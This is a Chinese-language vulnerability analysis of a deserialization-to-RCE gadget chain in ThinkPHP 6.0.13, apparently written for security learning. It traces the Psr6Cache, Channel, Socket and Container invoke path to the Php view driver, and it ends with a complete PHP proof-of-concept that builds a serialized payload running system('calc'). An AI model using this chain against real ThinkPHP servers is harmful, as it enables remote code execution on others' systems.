目前的Thinkphp6.1.0以上已经将filesystem移除了,之前因为这玩意儿曝出了好多条反序列化漏洞。
composer安装Thinkphp6.0.13:
composer create-project topthink/think=6.0.13 tp6
修改app/controller/Index.php添加反序列化点:
<?php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index(){ if($_POST["a"]){ unserialize(base64_decode($_POST["a"])); } return "hello"; } public function hello($name = 'ThinkPHP6') { return 'hello,' . $name; } }
入口是League\Flysystem\Cached\Storage\Psr6Cache
父类League\Flysystem\Cached\Storage\AbstractCache
的__destruct()
方法:
$this->autosave
可控,调用Psr6Cache类的save()方法,跟进:
$this->pool可控,可以调用任意类的__call()
方法,漏洞披露者在这儿调用的是think\log\Channel
类的__call()
方法:
传入的参数中$method是调用调用__call()
方法时的方法名,即getItem。$parameters传入的是可控的$this->key
。跟进log()
方法:
调用了record()
方法:
这里面很多参数都可控,控制$this->lazy
参数为false即可调用save()方法:
$this->logger
参数可控,调用任意类的save()方法,这里利用的是think\log\driver\Socket
的save()方法:
首先是要绕过第一个判断,if (!$this->check())
,需要check()方法返回true,跟进check()方法看看:
这里控制$this->config['force_client_ids']
为true,$this->config['allow_client_ids']
为空即可成功返回true。返回save()方法,控制$this->config['debug']
为true进入分支:
继续进入下一个分支需要$this->app->exists('request')
返回true。所以给$this->app
赋值为think\APP
类,APP类没有exists()方法,调用父类think\Container
的exists()方法:
注释中说明了这个方法的功能,传入的$abstract
参数是request,调用getAlias()方法,跟进看一下这个方法的功能:
根据别名获取真实类名,所以这个函数的返回的是think\Request
,需要exists()方法中的isset($this->instances[$abstract])
返回true,给$this->instances
赋值为['think\Request'=>new Request()]
即可:
接下来,调用Request类的url()方法:
url()方法中将我们可控的$this->url
赋值给$url,同时因为传入的$complete参数为true,所以会调用domain()方法,并将返回结果和可控的$url拼接起来:
这里是在拼接协议和host,我这里调试获取到的结果是:
执行url()方法获取到的结果赋值给$currentUri参数:
给$this->config['format_head']赋值,执行Container类的invoke方法:
跟进invoke()方法,执行第三个return语句:
跟进invokeMethod方法,如果我们传入的是数组,就将键赋给$class,将值赋给$method:
接下来的代码玩java反序列化的选手应该比较熟悉了,这三行代码实现了反射执行任意类的任意方法:
而其中$class和$method是我们控制的$this->config['format_head']
变量中的内容,$vars是$currentUri变量中的内容,其中拼接时传入的$this->url
部分是我们可控的:
三个参数都可控,寻找一个可以利用的类和方法,这里找到的是think\view\driver\Php#display()
,很明显的rce了:
再回头来看看我们传的参数,$currentUri变量的前半部分是http://
,后半部分就是我们拼接的$this->url
,控制$this->url
为我们想要执行的php代码即可:
最终实现RCE:
Poc:
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp){
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct(){
$this->url = '<?php system(\'calc\'); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
public function __construct(){
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'],
];
$this->app = new \think\App();
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(base64_encode(serialize($a)));
}